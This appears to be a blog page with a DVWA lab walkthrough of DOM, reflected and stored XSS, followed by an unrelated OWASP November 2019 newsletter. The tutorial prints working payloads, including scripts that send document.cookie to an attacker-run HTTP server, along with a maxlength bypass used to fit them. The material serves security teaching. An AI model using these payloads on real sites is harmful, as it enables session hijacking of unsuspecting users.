domingo, 28 de janeiro de 2024

Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:
Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:
http://localhost:9000/vulnerabilities/xss_d/?default=English 
We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script> 
When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:
python3 -m http.server 
By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script> 
The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.
Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:
<script>alert("XSS")</script> 
After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie /> 
Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.
In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:
<script>alert(XSS)</script> 
When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:
<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea> 
to something like this:
<textarea name="mtxMessage" cols="50" rows="3"></textarea> 
And now use your payload to steal some cookies:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie /> 
Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

  1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
  2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
  3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
  4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
  5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/
More information

Hackerhubb.blogspot.com

Hackerhubb.blogspot.com

Read more


sábado, 27 de janeiro de 2024

November 2019 Connector

OWASP
Connector
November 2019

COMMUNICATIONS


Letter from the Vice-Chairman

Dear OWASP Community, 

Preparation for next year's conferences is underway. I had the pleasure of meeting people from our community at a recent ISACA Ireland event where I had an OWASP stand. I also had lots of swag to give away, loads left which I plan to share out amongst the community. 

I was on a call recently with both WIA leadership and a number of individuals looking to broaden our diversity reach, forming DIA (diversity in AppSec). This was a positive call and I look forward to reviewing their proposal under the committee 2.0 operating model.

I'd like to thank our volunteers, chapter and project leaders for making OWASP what it is today. We wouldn't have a foundation without you. We always want to make things better, to this end, it would be great if you could fill out the following feedback form.

Thank you, 
Owen Pendlebury, Vice-Chairman

FROM THE EXECUTIVE DIRECTOR


As we wind down 2019, we are planning lots of new opportunities to get involved with OWASP next year. The current working draft of the 2020 Operating Plan can be found on our staging site for our new website which is planned to launch next month.
 
Some of the highlights for 2020:
  • Quarterly Town Hall meetings.
  • Two Project Summits - the first in February 2020
  • Pilot single-day AppSec Days worldwide to offer local training and community.
We are also set to further increase the transparency of the daily workings of OWASP through our Staff Projects page. The pages linked there will always be a work in progress; some of which today are still only templates but still a great resource to know what's going on at OWASP.

All of this which adds to our Global and Regional Events, ongoing local chapter support, and other member activities. Our plans are ambitious and we look forward to your continued support this and every month as we look to better secure the web.



OWASP Foundation Global AppSec Event Dates for 2020

Global AppSec Dublin, June 15 - 19, 2020
(Formerly known as AppSec EU)
Sponsorship is now available
Call for Papers & Call for Training December 2019
 
Global AppSec San Francisco, October 19 - 23, 2020
(Formerly known as AppSec US)
CFP &  CFT February 2020

** Visit our website for future announcements.**
NEW OWASP Project Summit - Winter 2020
February 2020 in Cancun, Mexico

 
The OWASP Foundation will host a three-day working session for FIVE selected projects in Cancun, Mexico, February 2020. Arrival day will be Wednesday the 19th and departures will be the 23rd. Projects must apply and then get selected to participate. The application process will require project meeting goals, work plans, key contributors, and expected attendance. The OWASP Foundation Officers Group will make the final selection. For more information click here

You can also email Emily Berman Global Events Director or Harold Blankenship Director of Technology and Projects.
Announcing a New Opportunity to become part of a Global AppSec Program Team
 
Conference Program Teams are constituted for each Global AppSec event and consists of members of OWASP members and staff. The selection of team members is based on subject-matter expertise and a balanced representation of the OWASP community. For planning purposes, team members shall reside on the continent of the Global AppSec for which they serve. Teams are constituted no later than six months prior to the Global AppSec event.

To apply to become a member of the Conference Program Team click here.


 
We are so excited to announce that both the London OWASP and WIA community have been asked to speak at BlackHat Europe 2019 on Wednesday 4 December at the EXCEL London.   Andra Lezza is leading the panel of women to "Share insights gained at different stages of their careers to help other women in the field."  Thank you, Andra, for leading the initiative and also to Sonya Moisset, Bibi Sanjarani, Katy Anton and Lauren Chiesa for volunteering to be part of the panel.  Also from the OWASP Community and a London Chapter Leader Sam Stepanyan and Paul Harragan.  Sam and Pau will be presenting a more in-depth demo on the OWASP Nettacker.  Good luck to all the speakers have a great conference.

I would like to encourage all of the OWASP community that will be attending BlackHat Europe to please make every effort to attend and support our fellow OWASP members Wednesday, 4 December 2019. (Click to view the schedule details.)

OWASP Members don't forget you are eligible for € 200.00 discount, email marketing@owasp.org for code to use when registering.


BlackHat Europe has extended an invitation to our London WIA community  to  lead a panel to "Share insights gained at different stages of their careers that could help other women in the field."  Thank you to Andra Lezza for leading this initiative and Sonya Moisset, Bibi Sanjarani, Katy Anton and Lauren Chiesa for volunteering to be part of the panel and to contribute.  Good luck I am sure your session will be a huge success.

BlackHat Europe 2019 London at EXCEL London
2019 December 2-5 
The OWASP Booth 1015
Business Hall December 4 & 5 
December 4, 10:30 AM - 7:00 PM
December 5: 10:00 AM - 4:00 PM

EVENTS 

You may also be interested in one of our other affiliated events:


REGIONAL EVENTS
Event Date Location
German OWASP Day 2019 December 10, 2019 Karlsruhe, Germany
AppSec California 2020 January 21 - 24, 2020 Santa Monica, CA
OWASP New Zealand Day 2020 February 20 - 21, 2020 Auckland, New Zealand
OWASP Seasides March 3 - 5, 2020 Panjim Goa, India
SnowFROC 2020 March 5, 2020 Denver, CO
AppSec Morocco & Africa 2020 June 4 - 5, 2020 Rabat, Morocco

GLOBAL PARTNERSHIP EVENTS
Event Date Location
BlackHat Europe 2019 December 2 - 5, 2019 London

PROJECTS


As the foundation moves toward the migration of the OWASP web presence from the old wiki site to our new Github-hosted home, some of you may still have questions regarding what to move and how to move it. Essentially, if you have a chapter page or project page and you have not migrated it to the new website, that would be first. Steps on what to do and what is needed can be found at https://www2.owasp.org/migration There are also some minor instructions on the default project or chapter page itself. And if you are wondering where that page is located, you can go to https://github.com/OWASP and type your chapter name in the repository search bar. If your project or chapter is not there, contact me. Lastly, there are a number of excellent examples already done by other leaders (also linked on the migration page).

And, as a precaution, you should click over into the 'Settings' of your repository and then click the 'Collaborators & teams' link on the left menu and check to make sure that the usernames added to Collaborators match what you expect.  Having someone you do not know edit your web page without your knowledge is no longer the expected behavior.

Some resources, mostly for projects, have been uploaded to the OWASP Site Theme Repository and can be linked to via the /assets/image/common/<file> URL.

After your chapter or project page is done, there is a www-community repository which would include any files from the wiki that are not currently in a project or chapter or board/staff policy area.  For instance, there are pages there for GSoC and XSS and CSRF.  A list of the top pages that need to be migrated can be found attached to one of the TODO cards on our website migration Trello board which you are invited to join if you want to help migrate loose pages and/or perform some automation work.

Our current plan can be found on the Website Relaunch project page.

PROJECT ANNOUNCEMENT

As part of OWASP's participation in Google's Season of Docs, the ZAP project has had Nirojan Selvanathan (@sshniro)  working on API documentation.  The first iteration of the documentation is now live.  It includes Java, Python, and shell
example snippets all presented in a responsive and accessible design which we will continue to build on in the future.

Big thanks to Nirojan for his efforts on this wonderful initiative!
Congratulations and thanks to Google Open Source for helping to bring the open-source and technical writer communities together!

COMMUNITY

 
Welcome to our New OWASP Chapters

Colombo, Sri Lanka
Des Moines, IA
Harrisburg, PA
Louisville, KY
Monterrey, Brazil
Moscow, Russia


 
Contributor Corporate Members
 

 
*Ads and logos are not endorsements and reflect the messages of the advertiser only. *
Join us
Donate
Our mailing address is:
OWASP Foundation 
1200-C Agora Drive, #232
Bel Air, MD 21014  
Contact Us
Unsubscribe






This email was sent to *|EMAIL|*
why did I get this?    unsubscribe from this list    update subscription preferences
*|LIST:ADDRESSLINE|*